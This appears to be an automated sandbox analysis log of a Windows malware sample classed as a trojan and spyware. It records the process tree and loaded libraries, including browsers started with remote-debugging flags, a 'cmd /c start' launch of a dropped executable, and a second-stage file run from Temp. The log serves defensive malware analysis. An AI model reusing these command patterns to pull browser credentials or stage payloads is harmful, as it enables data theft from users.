Source: file.exe, 00000000.00000002.2730742081.0000000023D6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2730742081.0000000023D6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2735938498.000000006CBE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2735347682.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: usnqrurm ZLIB complexity 0.9946927742616034
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982916808583107
Source: DocumentsBFHDHJKKJD.exe.0.dr	Static PE information: Section: ziuuvnhg ZLIB complexity 0.9945578994614004
Source: random[1].exe.0.dr	Static PE information: Section: lfzdpzkb ZLIB complexity 0.9954294708872459
Source: skotes.exe.31.dr	Static PE information: Section: ZLIB complexity 0.9982916808583107
Source: skotes.exe.31.dr	Static PE information: Section: ziuuvnhg ZLIB complexity 0.9945578994614004
Source: 75ca5498ad.exe.35.dr	Static PE information: Section: lfzdpzkb ZLIB complexity 0.9954294708872459

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@76/296@26/31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9C7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\json[1].json

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4064:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\a3d3a4c6-9d6e-49fe-bc79-f1ad75db06ed.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2734649157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2734649157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2734649157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2734649157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2734649157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2735772183.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2734649157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2734649157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2473415701.000000001DC19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2386893482.000000001DC25000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2387234459.0000000001834000.00000004.00000020.00020000.00000000.sdmp, CGIJJKEHCAKEGCAKJKEC.0.dr, DGDHJEGIEBFHDGDGHDHI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2734649157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2734649157.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2727652531.000000001DD22000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsBFHDHJKKJD.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2212,i,943263377203293330,1240535653914430162,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2220,i,14701681083971057081,8128613137941983017,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6744 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6920 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3868 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3868 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBFHDHJKKJD.exe "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6828 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBFHDHJKKJD.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2212,i,943263377203293330,1240535653914430162,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2220,i,14701681083971057081,8128613137941983017,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6744 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6920 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3868 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3868 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6828 --field-trial-handle=2300,i,8484495403881077893,381847814428227317,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsBFHDHJKKJD.exe "C:\Users\user\DocumentsBFHDHJKKJD.exe"
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsBFHDHJKKJD.exe	Section loaded: wintypes.dll
